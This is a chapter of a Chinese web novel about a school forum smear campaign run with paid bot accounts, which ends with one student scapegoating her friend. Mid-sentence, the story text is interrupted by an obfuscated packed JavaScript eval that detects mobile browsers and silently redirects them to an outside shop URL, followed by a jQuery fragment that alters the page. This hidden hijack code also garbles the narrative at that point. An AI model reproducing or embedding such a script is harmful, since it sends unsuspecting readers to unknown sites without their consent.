费恩整个中午都在校园论坛上酣战。
他表情极度扭曲,脸色被气得涨红,一段又一段地在虚拟键盘上敲出辩驳,
对面却能在他说出的每一条话语中找到值得否定的点,为他打上“暴力”“偏激”“舔狗”等标签。
这让他始终憋着一口气,无论如何都发泄不出来。
安德鲁将带回来的盒饭放到他桌上,看了一阵他面前的终端屏幕,语气相当笃定道:
“对面应该不是真人。”
作为自封的“八卦大王”,他同样有着丰富的网络对线经历,发展出了较强的赛博生命辨识能力。
费恩颇有些急躁地拆开盒饭,开口询问道:
“你的意思是?”
闻言,安德鲁抬手理了下领口,又推了推并不存在的眼镜,很有学术范儿地走上讲台。
他直接在教习终端上点进鸢之尾论坛,准备用自己丰富的阅历好好指导好哥们一番:
“你看,这一条就非常典型。”
他切入仍在瓜版置顶的匿名贴,用教棍点了点艾特过管理员的三百零九楼:
“它用词就太程序化了,而且后面立马就出现了好几条一模一样的刷屏。”
“还有这几条也是,我可太熟悉了,完全同一个套路的诡辩话术,先给你打上几个负面的标签,然后揪着你话语里面的个别词大肆审判,绝口不谈你真正想辩论的内容。”
费恩边听边吃着意面,心情平复了几分,感觉安德鲁这货讲的竟有几分道理。
教室内其余几个人也将目光纷纷投了过来,若有所思。
“所以,这条、这条、还有这几条,都鉴定为赛博生命。”
安德鲁一条条用教棍点过去,随后忽然发现终端交互界面卡了一下,弹出一个[加载中…]的标识。
安德鲁迷惑地回头问道:“现在没开信号屏蔽器吧?”
费恩正将餐叉上的意面往口中送,随口回应了一句:
“又没考试,肯定不……”
话还未说完,那一坨意面啪嗒掉落,为他的校服染上了同样的色泽和风味。
但费恩无暇顾及这一点,那空荡的餐叉颤抖地指向教习终端,沾满油渍的嘴张了半天也没能说出话来。
好在,教室另一个方位传来了道格外震惊的嗓音,替费恩完美表达出了他的意思:
“我去……王八大王什么时候学会言出法随了?”
安德鲁神情愈发茫然,抬眼看向那硕大的教习终端。
他难以置信的瞪大了双眼。
他刚才点过那几条评论现在全变成了[账号状态异常,无法查看回复],排列地整整齐齐。
安德鲁用教棍颤抖着上下滑动,他发现还有几条被他误诊为水军的,居然的的确确真人,他震惊之余都不由皱了下眉:
“都是谁啊,居然蠢成这样。”
话刚一落下,教习终端又卡了。
然后,那些评论的实名信息就真的直接弹到了他的眼前,清清楚楚明明白白。
[汤米.查尔斯,三年级二班,学号:16390224]
[杰苏.仇书德,二年级五班,学号:16400518]
[佩妮.泰勒,三年级三班,学号:16390339]
[梅丽.科博,三年级三班,学号:16390317]
……
“我去……我真的,学会言出法随了??”
安德鲁惊得险些从讲台上摔下来。
他忙抬手撑住讲桌,作为一名中二少年,他很快从震撼转为兴奋,立刻划到别的帖子,要试试自己觉醒的“超能力”。
下面有人已经举起腕机录像了,就等着记录奇迹时刻。然而这次安德鲁试了半天,咒语都换了好几个,屁用没有。
费恩不耐烦地走上台来,一把推开他,重新点进那个标题为《多人修罗场》的帖子,快速滑动着浏览,一边喃喃道:
“……前百层基本是真人评论,但是居然有一大半都是佩妮.泰勒在自导自演?”
安德鲁总算放弃了尝试,目光惊奇地扫过那条“心疼被骗的男生F”,又侧头看了看费恩那明显不妙的脸色。
他清了清喉咙,仿佛要继续刚才的教学般道:
“看看,这些就属于人类言论。尽管这是非典型的人类言论,没什么参考价值。”
费恩做出总结:“那就是……伪赛博生命,纯手工水军?”
“很好,很有辩证精神,你已经毕业了。”
安德鲁拍了拍他的肩膀,走下讲台。
他没管教习终端,就这样任由它停留在论坛界面上,教室内其余人也心照不宣地未去提醒他。
陆陆续续有部分同学返回教室,对此纷纷愕然时,一条系统消息弹了出来:
[检测到虚拟账号大规模集群活动,导致本帖热度蹿升过快,用户数据显示异常,修复程序已启动,预计完成时间:5分钟。]
一个班级固定小团体内。
爱磕cp的露西在自己的终端上浏览了好一阵,才终于呼了口气:
“我也在那个帖子里留言了。还好我那几条是直接无了,没暴露实名信息。”
“幸好我也只是看了看,没发评论。”
雀斑安娜跟着庆幸了一句,旋即摩挲着下巴道:
“让我来理一理哈,刚开始是手工造谣,后面发现这样太累,就跑去雇了水军……
结果没想到服务器不堪重负出bug了,现在属于是公开处刑了。”
扎克正了正自己夸张的假发道:
“真是没想到,我之前还对佩妮印象挺好的,你说她图啥呢?”
雀斑安娜左右瞥了一眼,压低嗓音道:
“听我同桌布伦娜说,她暗恋费恩.斯洛格挺久,估计看莉莉安快和他成了,不择手段了。”
爱磕cp的露西双臂交叉,嗓音拔高了几分:
“早就想说,那帖子除了脑补还是脑补,不知道哪些傻子在信。”
今早对莉莉安表现出明显恶意的一批人顿时眼神飘忽,尴尬到无地自容。
透明人卡尔扭捏着来到莉莉安桌前:
“对不起……我今早不该那么说你的。”
刻薄的梅丽脸色涨红到耳根,怎么都拉不下脸来,支支吾吾了半天也没说出话。
莉莉安挂着得体的微笑:
“没事,不用勉强。”
见她这么大度,刻薄的梅丽抿了抿嘴:
“我,我当时就觉得有点不对,但他们说的有鼻子有眼的,想不误会都难……”
余光瞥到某个红发人影走入教室,她原地剁了下脚,噔噔噔冲卡了过去,几乎是指着对方的鼻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625730|204730||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子道:
“佩妮!怎么会有你这样心思龌龊的人,总算看清你的真面目了!说吧,为什么造谣抹黑莉莉安?”
佩妮明显还有些懵,不明白为什么今早和自己聊得还算愉快的朋友,下午就换了张面孔。
“……什么造谣?”
我们说的不都是真事吗?
她后半句话还未出口,刻薄的梅丽就呵了一声道:
“少装了。我本来是真心相信你才义愤填膺的,谁知道你才是玩弄别人真心的人。怎么,看着大家被你和你的水军耍的团团转,开心吗?”
佩妮本想试图辩解,余光倏地察觉到费恩.斯洛格也在冷冷地盯着自己,这让她瞬间如坠冰窖。
旁边的布伦娜注意到讲台上教习终端,顿时明白了事情的原委,心中暗骂道:
“这破工作室,怎么这点事情都办不好,还把论坛弄出bug了??”
因担心佩妮说漏嘴,她购买水军后并未告知,对方感叹热度蹿升快时,她只是一味地用“群众的眼睛是雪亮的”来搪塞。
而以当前的情况,就更加不能说出口了,否则,布伦娜就会替代现在的佩妮,成为众矢之的。
全班都知道我和佩妮是好朋友,现在当务之急是和这件事撇清关系,否则我也会被连带拉下水的……想到这里,布伦娜转过身体,握住红发少女的手:
“佩妮,我知道你一直对海耶斯同学有些意见,发帖子也是关心则乱,想通过你的角度好心提醒大家。”
哈?好心,这能叫好心?
旁听着的费恩.斯洛格掏了掏耳朵,专注看着个人终端的塞伦斯也状似随意地抬眼。
刻薄的梅丽刚要怼两句,就听布伦娜又用带着几分痛心的语气道:
“但不管怎样,也不能用买水军这种方式啊……”
佩妮没料想到会被最好的朋友误解,表情出现短暂的空白,微微颤抖:
“可是我根本没……”
她想要后退一步拉开距离,可手腕被布伦娜紧紧箍住,力道大得她直发疼。
“……听我说佩妮,每个人都会无意或有意的犯错,好的一点是,你还有承担责任的机会,趁现在还来得及,去和当事人道歉吧。”
未尽的辩解被堵死在喉间。
佩妮眼圈瞬间红透了,红得快要接近她的发色,她用力瞪大眼睛,可眼泪还是不受控制地落了下来,落在两人紧紧交握的双手上。
布伦娜松开桎梏,从口袋中掏出纸巾,拭过红发少女的眼角:
“……如果觉得一个人不好意思,难以说出口,没关系的,这是正常心理。我陪你一起去。”
佩妮的指尖不自觉蜷缩了一下,像是被紧握了太长时间,反倒不适应这种空荡了。她默然一阵,喉间发出干涩的音节:
“……好。”
众目睽睽之下,她在布伦娜的陪伴下来到教室后方,目光空洞地望向莉莉安.海耶斯,嘴唇机械地张张合合,向这位暗恋之人的暗恋之人道歉。
她的眼泪还在缓慢而无声地滑落,洇湿了衣服,洇湿了地面。
但这已经不重要了。
重要的是,她终于承认了所有错误,属于她的,不属于她的,悉数认领。
她微微侧过头,在她已然涣散失焦的视线中,金发深肤的好友嘴角满意地向上弯起,鲜明而清晰。